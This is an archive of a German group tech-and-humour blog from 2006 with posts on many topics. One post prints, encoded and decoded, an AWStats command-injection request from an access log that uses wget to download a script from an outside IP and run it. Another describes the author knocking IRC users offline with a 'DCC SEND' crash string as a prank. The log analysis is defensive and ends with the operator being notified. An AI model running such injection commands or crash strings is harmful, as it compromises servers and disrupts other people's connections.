Archiv für die Kategorie ‘Fnord’

Der Einbürgerungsfragebogen

von MichiK am 14. März 2006 um 23:16 Uhr

Wenn es nach den Hessen geht, soll jeder Ausländer, der deutscher Staatsbürger werden will, vorher diesen Fragebogen (hier vollständig und hier die Originalquelle) ausfüllen und einen bestimmten Teil der Fragen richtig beantworten. Ich bin zwar schon Deutscher, aber mal schauen:

Am Anfang ist ja alles recht in Ordnung. Wie viele Einwohner der Staat hat, in dem man leben möchte und wie er gegliedert ist und wie das Land aussieht, sollte einen ja eigentlich interessieren, aber:

17. Erläutern Sie den Begriff “Existenzrecht” Israels!

Huch? Will ich nach Israel einwandern? Eigentlich nicht… also wieso diese Frage? Ich habe eine sehr differenzierte Meinung dazu, also erspare ich mir jetzt den Roman dazu. Also weiter:

27. Welcher deutsche Bundeskanzler bekam den Friedensnobelpreis?

Ich hatte zwar Politik-Leistungskurs, aber da müsste ich raten. Könnte Willy Brandt gewesen sein, für seine Ostpolitik. Ein anderer fällt mir so spontan aber auch nicht ein. Provokant: Wäre “keiner, der ihn verdient hätte” als Antwort richtig?

31. Wo sind die Grundrechte der deutschen Staatsbürger festgelegt?
32. Wie heißt die Verfassung der Bundesrepublik Deutschland?

Zweimal die selbe Antwort?! Langsam wirds langweilig… oder soll man etwa genau die Artikel kennen, in denen das steht? Außerdem versteht sich das Grundgesetz ja bis heute nicht als “richtige” Verfassung…

34. Von wem geht in der Bundesrepublik Deutschland alle Staatsgewalt aus?
Welche Vorteile ergeben sich daraus für die Bürgerinnen und Bürger?

Von korrupten Politikern und keine… äh, ich hab nichts gesagt…

44. In Deutschland gibt es eine gesetzliche Schulpflicht für alle Kinder und Jugendlichen. In welchem Alter beginnt die Schulpflicht, wann endet sie?

Ähm, ja. Ich empfehle dem geneigten Leser hiermit mal die Lektüre des Wikipedia-Artikels zum Thema. Das ist nämlich von Bundesland zu Bundesland verschieden.

74. Die Bundesrepublik Deutschland ist ein Sozialstaat. Nennen Sie drei Elemente der sozialen Sicherung in der Bundesrepublik Deutschland!

Sozialhilfe Arbeitslosengeld Hartz IV, Hartz IV, Hartz IV.

84. Der deutsche Maler Caspar David Friedrich malte auf einem seiner bekanntesten Bilder eine Landschaft auf der Ostseeinsel Rügen. Welches Motiv zeigt dieses Bild?
85. In Kassel findet alle fünf Jahre eine der bedeutendsten Ausstellungen moderner und zeitgenössischer Kunst statt. Welchen Namen trägt diese Ausstellung?

Ich weigere mich hiermit, diese Fragen zu beantworten, bis mir jemand das Gesetzt gezeigt hat, in dem steht, dass ich verpflichtet bin, mich für Kunst zu interessieren.

87. Nennen Sie drei überregionale deutsche Tageszeitungen und zwei öffentlich-rechtliche Rundfunkanstalten!

Bild, BamS und Glotze… ähm. Ja.

90. In den deutschen Kinos startete 2004 der Film “Das Wunder von Bern”. Auf welches sportliche Ereignis nimmt der Film Bezug?

Also erstmal gehe ich ja nicht mehr ins Kino, weil die Filmmafia – OK, lassen wir das. Kann man von einem Menschen, der 2006 Deutscher werden will, dass er schlechte deutsche Filme aus dem Jahr 2004 kennt?

100. Wie heißt die deutsche Nationalhymne und mit welchen Worten beginnt sie?

Was soll man denn hier antworten? Nur “Deutschlandlied” wäre ja falsch…

Achja: Ironietags bitte selbst setzen.

Nachtrag: Wer sich nicht sicher ist, wie die richtigen Antworten auf einige der Fragen lauten, kann das Cheat-Sheet benutzen…

Der “Nun wieder doch ein Geek”-Geek

von Khark am 13. März 2006 um 21:23 Uhr

Es soll mal einen Geek gegeben haben, der seine Freundin nicht einfach wie jeder andere Schatz, Schatzi, Prinzessin oder sonst wie genannt haben soll. Dies fand er zu weitverbreitend und inhaltslos (alá: Das sagt jeder ohne drüber nachzudenken.).
Stattdessen nannte er seine Freundin nach technischen Gerätschaften.
Also ging er mal zu seiner “externen USB-Festplatte” oder zu “Linux-Cluster”.

Solange bis er seine Freundin in einem ungünstigen Moment erwischte und Sie zudem noch mit “Hallo Mehrfachsteckdose!” begrüßte.
Seitdem ist er wieder ein Geek und muss zusehen wo er seinen Strom herbekommt.

Und die Moral von der Geschicht’:
Ungeschützten Stromversorgungen traut man nicht.

Warum DRM scheiße ist

von MichiK am 6. März 2006 um 16:51 Uhr

Darum habe ich eine akute Allergie gegen DRM. Dass ein Softwarehersteller mal ein ein etwas verbuggtes Stück Software produziert, mag ja durchaus vorkommen – nobody is perfect. Aber dass einen dieses dann erst einmal auf unbestimmte Zeit von für gutes Geld gekauften Medien aussperrt, ist nun wirklich bescheuert…

Versuch zur Norton Internet “Security” und Netgear-Routern

von Khark am 4. März 2006 um 22:41 Uhr

Ich weiß, es ist kindisch.. Aber einmal wollte ich mir den Spass auch gönnen.
Folgendes Experiment fand in einem gut besuchten Channel im GamesUrge statt.

<Khark> DCC SEND “string” 0 0 0
-!- [Merc]Johanson [~DJ4033@ip72-197-81-168.sd.sd.cox.net] has quit [Read error: Connection reset by peer]
-!- MKAL|[BF2]Dtrich-]X[ [~dtrich@|MKAL|DTRICH.kthx.gamesurge] hasquit [Read error: Connection reset by peer]
-!- eMass^LawJik [~bob@71.195.206.53] has quit [Read error: Connection reset by peer]
-!- [n3m][GameOn]Piles [~rpsnider@CPE-70-94-44-162.wi.res.rr.com] has quit [Read error: Connection reset by peer]

<Khark> startkeylogger
-!- NewdeaL [~nnscript@NewdeaL.user.gamesurge] has quit [Read error: Connection reset by peer]

Aus diesem Versuch können wir schließen, das das Verhältniss von Netgear-Routern zu Norton Internet Security-Suites 4:1 beträgt.
Jo, schon praktisch so eine Norton Internet “Security”-Suite..

robocop bong

von ssc am 22. Februar 2006 um 21:20 Uhr
Soebend bin ich über Finger’s elektrische Welt gestolpert.
Dies ist eine sehr nette Seite mit den schrägsten Erfindungen, wie z.b. den links abgebildeten Blazer, der Bong die ich unbedingt während des nächsten Robocop-Films im Kino dabei haben möchte.
Falls der Arm angesichts einer grösseren Menge auf dem Schlauch stehender Hippies mal schlapp machen sollte,
sorgt das Dope-Gewehr für die nötige Feuerkraft.


Für den geneigten Psychonauten gibt’s auch noch einen passenden Helm.

Solch kifferfreundliche Ingeneurskunst ist auf dieser Seite gleich vierzehnfach vertreten.
Besonders erwähnt sei noch die kombinierte, vollautomatische Zigaretten-Zerbrösel-, Mische-Herstell- und Joint-Bastel-Maschine

Intelligente Fahrzeuge?

von MichiK am 22. Februar 2006 um 12:53 Uhr

Laut Heise fordert die EU nun mehr “intelligente Fahrzeuge”. Was soll man davon halten?

Ich selbst habe ein relativ altes Auto, das hat kein ABS, kein ESP, keine Servolenkung, keinen Bremsassistenten und nicht einmal elektrische Fensterheber. Das Auto warnt mich nicht, wenn ich den Abstand zum Vordermann nicht einhalte und es sagt auch nicht bescheid, wenn es draußen kalt ist und glatt sein könnte.

Dafür verbraucht es nicht viel Sprit (Elektronik braucht Strom, Strom muss erzeugt werden, Stromerzeugung braucht Sprit…) und ich habe im Lenkrad und in den Pedalen ein Gefühl für die Straße und für mein Auto. Ich brauche auch keinen Drehzahlmesser, weil der Motor laut genug ist, damit ich problemlos “nach Gehör” schalten und und Gas geben kann. Ich kann meine Fenster auch öffnen und schließen sowie die Spiegel nachstellen, wenn die Zündung grade ausgeschaltet ist. Ich muss mit dem Auto nicht in die Werkstatt, weil eine “Service”-Leute angegangen ist, die mir sagt, dass “irgendwas” nicht stimmt, was ich aber selbst nicht nachprüfen kann, weil ich das Steuergerät nicht auslesen kann…

Klar, ABS, ESP und diese ganze Technik sind nettes Spielzeug. Mein Fahrschulauto hatte damals einen Bremsassistenten. Man steigt ein, tritt mal kurz beherzt auf die Bremse, um zu sehen, wie gut die Bremsen sind und schon hängt man im Gurt. Der Motor war außerdem sehr leise, weswegen man das Auto kaum anfahren konnte, ohne dabei den Drehzahlmesser im Blick zu haben. Ich denke ja, dass die Augen beim Anfahren auf die Straße gerichtet sein sollten… Dank leichtgängiger Servolenkung hat man auch kein Gefühl für den Untergrund bzw. Straßenzustand.

Beim Auto meiner Eltern geht gerne mal die “Service”-Leuchte an, man kann dann nicht erkennen, was los ist und darf erstmal in die Werkstatt. Es könnte ein Problem mit der Klimaanlage sein, was jetzt im Winter ja völlig egal wäre. Andererseits kann aber auch die Motorelektronik eine Macke haben und will einen davor warnen, dass das Auto in Flammen aufgehen könnte, wenn man nicht demnächst zur Werkstatt fährt…

JA! Ich bin ausdrücklich technikverliebt. Ich hätte gerne ein Autoradio, was MP3s abspielt. Eine Anzeige des Reifendrucks oder der Abgastemperatur wäre cool. Eine WLAN-Antenne direkt neben der normalen Radioantenne auf dem Dach hätte Stil. Aber wenn es um die “Intelligenz” des Fahrzeuges geht, glaube ich trotzdem, dass ich mit meinen Sinnen und meinem Verstand tausendmal intelligenter bin als sämtliche Technik, die man in das Auto einbauen kann.

Das Auto ist nicht toll gefedert und nicht gut schallgedämmt. Ich spüre und höre, wenn mir beim Anfahren die Räder durchdrehen. Ich spüre in der Lenkung, wenn ich in einer Kurve ins Rutschen gerate. Ich spüre beim Lenken auch, ob ich grade auf trockenem Asphalt oder auf glitschigem Matsch unterwegs bin. Wenn ich einen Unfall habe und der Verschluss der Tür verklemmt ist und außerdem die gesamte Elektrik ausgefallen ist, kann ich einfach das Fenster runterkurbeln und aussteigen.

Ich kenne viele Leute, die meinen “Ich hab doch ESP, da werd ich schon nicht aus der Kurve fliegen.” oder “Ich hab doch ABS, was soll ich da Sicherheitsabstand halten, da kann man ja immer gut bremsen.” Das ist die andere Seite der Medaille…

Portsentry und die Illuminaten

von Khark am 19. Februar 2006 um 04:17 Uhr

Entweder haben die Illuminaten dafür gesorgt, das Portsentry nicht mehr weiterentwickelt wird – oder der Entwickler ist ein Illuminat. *omfg*
– Man achte auf das Datum der letzten Änderung.

Portsentry Developement end-date

Die spinnen, die Briten

von MichiK am 16. Februar 2006 um 17:09 Uhr

http://www.heise.de/newsticker/meldung/69718:

Dabei geht es laut BBC News um Befürchtungen, für Vista vorgesehene Sicherheits- und Kopierschutzfunktionen könnten dafür sorgen, dass polizeiliche Ermittler Dateien auf Computern von Verdächtigen nicht lesen können, da sie verschlüsselt seien.

No further comment…

Kunstparker des Jahres

von MichiK am 15. Februar 2006 um 20:56 Uhr

Ich schicke von Zeit zu Zeit Fotos von diversen Aktionskunstwerken an kunstparker.de. Übrigens genau die richtige Seite für alle, die es auch hassen, wenn Leute absolut keine Manieren beim Parken haben… ;)

Jedenfalls wurde dort jetzt ein von mir fotografiertes Kunstwerk zum Kunstparker des Jahres 2005 gekürt.

*freu*

Cheney auf der Jagd

von MichiK am 15. Februar 2006 um 05:06 Uhr

Dass US-Vizepräsident Dick Cheney auf einem Jagdausflug versehentlich einen Begleiter angeschossen hat, wandert ja nun schon einige Tage durch die Medien. Doch wie ich grade las, scheint der gute Mann (das Opfer, nicht Cheney!) nun einen Herzinfarkt erlitten zu haben, weil eins der Schrotkörner, das er abbekommen hat, in Richtung Herz gewandert ist. Ohne jetzt makaber wirken zu wollen: Wenn der Mann nun daran stirbt und Cheney wegen Mordes angeklagt und zu Knast oder vielleicht zum Tode verurteilt wird, lache ich mich kaputt.

Die Anklage wegen Mordes ist übrigens garnicht so unwahrscheinlich, wenn man einmal diesen Fall betrachtet… Ja, Äpfel und Birnen.

Ja! Ich gestehe.

von MichiK am 15. Februar 2006 um 03:07 Uhr

Ich habe hochgeladen

Ich habe in der Vergangenheit Filesharing-Netze (BitTorrent, das eDonkey-Netz und auch andere…) genutzt und dabei nicht nur Daten heruntergeladen, sondern auch mit anderen Nutzern geteilt. Das ist per Definition erst einmal weder illegal noch sonst irgendwie verwerflich.

Botnets sind nicht witzig

von Khark am 12. Februar 2006 um 21:39 Uhr

Mit einem kleinen Eintrag in der access.log meines Apachen fing alles an.

GET
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp
%3bwget%20211%2e234%2e113%2e241%2fscripz
%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo|

In ASCII dekodiert ergibt sie folgendes:

GET /awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 211.234.113.241/scripz;chmod +x scripz;./scripz;echo YYY;echo|

Irgendjemand versuchte da eine der zahlreichen AWStats Sicherheitslücken auszunutzen und irgendwas auf anfälligen Server auszuführen.
Da es Sonntag ist und ich sowieso nichts weiter vorhatte, guckt man sich die Datei “211.234.113.241/scripz” mal an.
Es ist ein kleines Bash-Skript, das 2 weitere Dateien zieht.
219.84.105.36.42/ping und 219.84.105.36.42/httpd.
Ping ist ein binary. Und da meine Code-Audit-Fähigkeiten bei Binaries komplett aufhören lassen wir es mal außer acht :D

httpd hingegen ist ein kleiner IRC-Client in Perl, der dafür sorgt das sich alle infizierten Clients in Undernet in einem Channel sammeln und sich mit einem “Hallo, hier bin ich.” melden.

In eben jenen Channel bin ich dann auch mal spontan gegangen und hatte eine nettes sinnloses Gespräch mit einem der 3 Betreiber des Botnets.

Zitat:
<xxx> the botnet is just something for fun :)
<xxx> nothing else
[...]
<xxx> i run the bots with the uid that the apache servere is started
<xxx> nothing more
[...]
[We are scanning...]
<xxx> mambo awstats and xmlrpc
<xxx> and other php bugs :P
<xxx> try to patch your server…

Tjojo.. Schon spannend so ein Ausflug in die Welt der krassen Hacker.
Und wie schön, das mein Apache noch nichtmal PHP geschweige den Perl kennt.
– Die Serverbetreiber sind informiert und ich hoffe sie lesen die Mail auch.

Update:
Der Serveroperator hat die Mail gelesen und sich ganz nett für den Tipp bedankt.
Laut seiner Aussage verfolgt er diese “Malware” schon seit Monaten, aber diesmal sei es das erste mal, das sich ein Channel der Malware im Undernet befindet.
Die Betreiber der infizierten Maschinen werden informiert und sie versuchen zu verhindern, das die Botnet-Betreiber nochmal das Undernet missbrauchen. (Was aber wohl sehr schwer werden dürfte..)

Reichelts Kundendatenbank

von MichiK am 9. Februar 2006 um 22:04 Uhr

Die Kundendatenbank von Reichelt Elektronik ist ziemlich verstrahlt. Ich habe eine Kundennummer dort und auch eine Kundenkarte. So kann ich bequem im Online-Shop bestellen, mich ins Auto setzen und nach Sande fahren (von meinen Eltern aus knappe 8 km) und das Zeug selbst abholen. Geht schnell und spart Versandkosten.

Nun habe ich einmal von Leipzig aus etwas bestellt und wollte das per Post verschickt haben. Ich habe dabei meine normale Kundennummer benutzt – warum auch nicht? – und lediglich die Versandadresse geändert. Nun habe ich etwas bestellt, als ich wieder hier in der Gegend war und bin zu Reichelt gefahren, wollte die Karte ins Lesegerät stecken, um die bevorzugte Behandlung zu erhalten, wie man sie als Vorbesteller mit Kundenkarte erhält – und was passiert? “Karte ungültig!”

Das lag laut Aussage des Menschen hinterm Tresen an meiner Adressänderung. Ich frage mich jetzt ganz ehrlich, was die Änderung einer Versandadresse mit einer Kundenkarte für Selbstabholer zu tun hat? Wozu habe ich denn dann noch eine Kundennummer? Die sollte doch eigentlich Primärschlüssel der Kundendatenbank sein und zur Identifizierung völlig ausreichen…

Edit: Bevor ich es vergesse – der Mensch fand dann meine Bestellung manuell zunächst nicht in seiner Liste. Sie war unter “Vorname Nachname” und nicht unter “Nachname, Vorname” einsortiert.

Ich trete meinen SuSE VPS

von Khark am 9. Februar 2006 um 21:56 Uhr

Wir alle kennen ja das lustige “Ich packe meinen Koffer”-Spiel, wo man pro Person immer einen Gegenstand mehr in seinen Koffer hineinpackt.
Ich fange jetzt hier mal das Spiel “Ich trete meinen SuSE VPS” an. Jeder der nachfolgenden Mitspieler muss den Satz um eine weitere VPS-/SuSE-Typische Softwarekomponente erweitern.

Ich trete meinen SuSE VPS mit Plesk 7 Reloaded.

No more SSH brute force attacks?

von Khark am 7. Februar 2006 um 14:52 Uhr

SSH brute force Angriffe sind ja so ziemlich das normalste auf dieser Welt, wenn man einen Rechner am Internet hängen hat auf dem der SSH-Dienst läuft.
So wunderte es mich auch nicht, das ich Angriffe aus Frankreich, Südafrika, Thailand und England zu verzeichnen hatte. Diese fingen ab dem Tag der Bereitstellung meines Servers an und es sah nicht so aus, als ob sie kurz oder mittelfristig aufhören würden.
Insbesondere der Französische Student von der “Universite de Nantes” machte sich sehr verdient und führte mit knapp 4000 fehlgeschlagenen Logins deutlich die Statistik an.
– Da aber nur ein User explizit die Berechtigung hat über SSH auf den Rechner zuzugreifen und dieser Username nicht einmal irgendwo als “Illegal Login” auftauchte (es sei denn, es waren meine eigenen) machte ich mir da nicht so viel Gedanken.

Am 5. Februar fügte ich nun ein kleines SSH-Banner ein, das mir $Jemand gegeben hatte.
Es sagt lediglich folgendes in Deutsch, English und Französisch aus:
“Saemtliche Aktionen auf diesem System werden protokolliert und koennen gerichtlich verwendet werden.
Unerlaubter Zugriff wird strafrechtlich verfolgt.”
(Das Text-File gibts hier: http://kharkerlake.net/ssh-banner.txt)

Nichts wildes eigentlich. Wenn man einem SSH brute force startet, ist einem vorher klar was man da tut und vorhat. Auch, das man sich strafbar macht, wenn man einen gefundenden Login tatsächlich benutzt.
Komisch fand ich nun, das ich seit dem 6. Februar ab 18 Uhr keinerlei SSH-Probes mehr zu verzeichnen habe.
– Ist das Banner wirklich so böse??
Oder haben die Leute nur gemerkt, das da jemand auf dem System ist (“Das System lebt.”) und dieser jemand es versteht sich das SSH-Logfile anzugucken – woraufhin sie ihre Versuche einstellten?

Konnte schonmal jemand das gleiche Phänomen auf einem seiner Server beobachten?

Beweis für die Bielefeldverschwörung gefunden

von Khark am 21. Januar 2006 um 19:54 Uhr

Bielefeld existiert! Sie wollen zwar, das wir denken es gäbe Bielefeld nicht – aber Sie haben die Rechnung ohne die Amish Geeks gemacht.
Einer von uns hat sich in einer halsbrecherischen und hochriskanten Aktion (Schonmal A2 gefahren wenn nur Rentner unterwegs sind?) in den inneren Sicherheitsring rund um die Innenstadt geschmuggelt. Dort waren wir sogar in der Lage den eindeutigen Beweis für die Existenz von Bielefeld zu bekommen.
– Einen Stadtplan.

Wieso man diesen Stadtplan nur im inneren Sicherheitsring bekommt wurde mir klar als ich ihn sorgsam und gewissenhaft studierte um ein Internetcafe zu finden in dem man auch seinen Laptop anschließen kann.
Den in eben jenem Stadtplan, ist der Sitz der Bielefelder Desinformationsanstalt ausgewiesen. Gleich neben der Heeper Straße.

Bild bis zur Klärung der Rechtslage mit der G.E.K.A entfernt.

Und bevor Sie die Möglichkeit haben mich zu töten, veröffentliche ich diese Informationen weltweit um so mein Leben zu retten.
– Funktioniert bei Serenity/Hackers und sonstwo doch auch.

Juristen…

von MichiK am 9. Januar 2006 um 19:24 Uhr

Dieser Heise-Artikel gibt mir schon zu denken… einerseits leuchtet es ja ein, dass man nicht auf diese Weise mit fremden Marken umgehen darf. OK, ich stehe allgemein dem System der Trademarks sehr skeptisch gegenüber, aber was so ist, ist eben so…

Aber warum ist hier ausgerechnet “Impuls” eine eingetragene Marke? Ich persönlich verbinde das mit keinem Produkt eines beliebigen Herstellers und mit keinem verkäuflichen Gegenstand… Ich kenne von alten Telefonen das Impulswahlverfahren oder den Impuls in der Mechanik als Produkt aus Masse und Geschwindigkeit. Aber das ist ja nun alles keine Marke.

Warum muss ich plötzlich wieder an die Sache mit den 100 Anwälten auf dem Meeresgrund denken?

Als arbeitender Mensch hat man in Deutschland verschissen!

von Khark am 9. Januar 2006 um 18:12 Uhr

Oder wie darf ich das verstehen, wenn die Öffnungszeiten von wichtigen Geschäften (Bank, Post, etc.) und Behörden in etwa so aussehen:
Montag, Dienstag: 9:00Uhr – 12:30Uhr, 14:00Uhr – 17:30Uhr
Mittwoch: Geschlossen
Donnerstag, Freitag: 9:00Uhr – 12:30Uhr, 14:00Uhr – 17:00Uhr

Was sollen bitte schön Menschen tun, die von 9Uhr bis 17Uhr arbeiten und ca. 35min für den Heimweg brauchen?
Oder Menschen die noch ärmer dran sind als ich und von 7Uhr bis 19Uhr arbeiten müssen und im Monat weniger verdienen wie ich als Azubi im 1. Lehrjahr!?
Wir sind EINE Gesellschaft. Ich arbeite, damit andere Computer benutzen können. Ebenso arbeiten andere für mich, damit ich im Supermarkt an der Fleischtheke meine Wurst kaufen kann und per Post den kaputten Server wegschicken kann.
Ist es da zuviel verlangt zu erwarten, das mir die Ladenöffnungszeiten ermöglichen neben meiner Arbeit auch noch sowas wie ein Privatleben zu führen und nach Feierabend private Angelegenheit erledigen zu können?
SOLL ICH MIR JEDESMAL EINEN TAG URLAUB NEHMEN WENN ICH EINKAUFEN GEHEN WILL?

Klar hat die Postbeamtin auch ein Recht auf ein Privatleben.
– Nur was spricht dagegen 2 Postbeamtinen einzustellen? Eine arbeitet morgens – nachmittags, die andere nachmittags – nachts.
Wenn man noch eine 3. einstellt, kann man sogar 24Stunden am Tag geöffnet haben und jeder muss nur 8 Stunden arbeiten.
Nur keiner will Nachts arbeiten.. Und woran liegt das?
Weil wir immer noch denken der Tag ist für die Aktivität und die Nacht zum Schlafen und Ficken.
Und Leute wie ich, die sich einfach denken: Wenn ich wach bin, bin ich wach, und um welche Uhrzeit ich was machen will, das bestimme immer noch ich – die fallen dann eben durchs Raster.

Ich arbeite, ich bringe Geld ein (dem Staat (indirekt durch Rentenversicherung) und begrenzt – da Azubi – auch meinem Chef).
Ebenso will ich dieses auch ausgeben. Aber irgendwie wird mir das nicht ermöglicht. Immer wenn ich irgendwo einkaufen gehen will, stehe ich vor verschlossenen Türen.
– Da wundert es mich nicht, wenn ich 90% meines Gehalts in Onlineshops von Amazon und Reichelt lasse. Soll der Computerladen um die Ecke doch zumachen, juckt mich nicht.
Ich habe jedenfalls keinen Bock mich am Wochenende in ein Meer von monotonen, im Gleichschritt konsumierender Berufstätiger zu übergeben. Am Wochenende habe ich besseres vor. Freunde besuchen, ins Kino gehen, Inliner fahren oder meine Computerprojekte vorantreiben.
Da muss ich mir überfüllte Shoppingcenter mit Deckenschallbespassung und dem Aerobic-Kurs 17c des SV Winkelmühle, der im Erdgeschoss im Aurarium sein Down-Syndrom auslebt echt nicht antun.

Generell bin ich dafür, das man die Ladenöffnungszeiten ganz abschafft. Und wenn dies aufgrund von beschissenen Gewerkschaften, die immer nur fordern, ihre Mitglieder aber nie anspornen mal mehr zu tun, nicht möglich ist, dann sollen sich die Öffnungszeiten der Läden wenigstens nach Art und Weise des Betriebes/Gewerbes/was-auch-immer richten.
Niemand käme auf die Idee eine Disko um 17:30 abzuschließen.
Bei Postämtern ist dies anscheinend selbstverständlich. Nur wer sagt bitte schön, das es nur Leute gibt die Tagsüber ihre Pakete loswerden wollen?
– Unsere Gesellschaft ist zu unflexibel und denkt in Strukturen die 60 und mehr Jahre alt sind PUNKT

Oder anders forumliert:
In Deutschland heult jeder, es wird zuwenig konsumiert, der Einzelhandel stirbt aus, usw. Tjo… Hmm..
Wie soll ich bitte schön konsumieren, wenn ich immer vor verschlossenen Türen stehe?

Die Uhr

von MichiK am 2. Januar 2006 um 14:53 Uhr

Ich habe zu Weihnachten eine schöne große Funkuhr zum an die Wand hängen bekommen,weil wohl irgendwie durchgedrungen ist, dass in meiner Wohnung noch keine hängt. Dann begann sofort die Diskussion darum, wo die Uhr denn hängen soll… Oma und Mama meinen, die würde gut ins Wohnzimmer (was in einer 1-Zimmer-Wohnung natürlich auch das Schlafzimmer ist) passen, ich beharre auf der Küche.

Warum? Ganz einfach: Die Uhr hat einen Sekundenzeiger, ergo die Uhr tickt. Tickende Uhren hindern mich am Einschlafen, wieso auch immer – ich kann dann nicht vernünftig pennen. Ich kann mitten in einer Einflugschneise, neben einer viel befahrenen Bahnlinie oder an der Autobahn schlafen, neben mir kann man eine Party feiern und (ganz wichtig für den Geek…) im selben Zimmer kann ein ganzes Rechenzentrum ein monotones Lüfterrauschen und Festplattensurren von sich geben. Alles egal. Aber eine tick-tack-tick-tack-tick-tack-tickende Uhr macht mich nun einmal nervös. Und diese Uhr tickt, das sieht man ihr an.

Oma hat den ganzen Abend versucht, das Ticken der Uhr zu hören. Sie hat sich mit dem Ohr direkt daneben gesetzt, sie gedreht und gewendet, sie Mama in die Hand gedrückt, nichts. Niemand hat die Uhr ticken gehört. (Ich muss zugeben: Ich da auch nicht, aber im selben Zimmer sind drei andere Uhren – mit Pendel – und das Radio war an.) Am Ende dann die Begründung: “Ja, die tickt ganz leise, weil sie im Moment nicht richtig an der Wand hängt, sondern nur so da lehnt.” Aha.

Nun, heute hat die Uhr den Weg in mein Zimmer gefunden und liegt auf einer weichen, gut schalldämmenden Oberfläche. Das Zimmer ist groß, voller Möbel und die Uhr befindet sich am anderen Ende des Zimmers. Trotzdem höre ich hier ein ganz deutliches, lautes Ticken… ich habe es gewusst. Von Anfang an. Aber mir glaubt ja nie jemand.

Ich muss unbedingt zusehen, dass ich die Uhr hier noch heute rausbringe, wenn ich heute Abend schlafen will. Oder die Batterie rausnehmen…

ICQ5 mit Extraz unter Linux installieren

von Khark am 1. Januar 2006 um 02:21 Uhr

Die Sarah hat eine ganz tolle Anleitung zum installieren von ICQ5 mit Xtraz unter Linux verfasst :D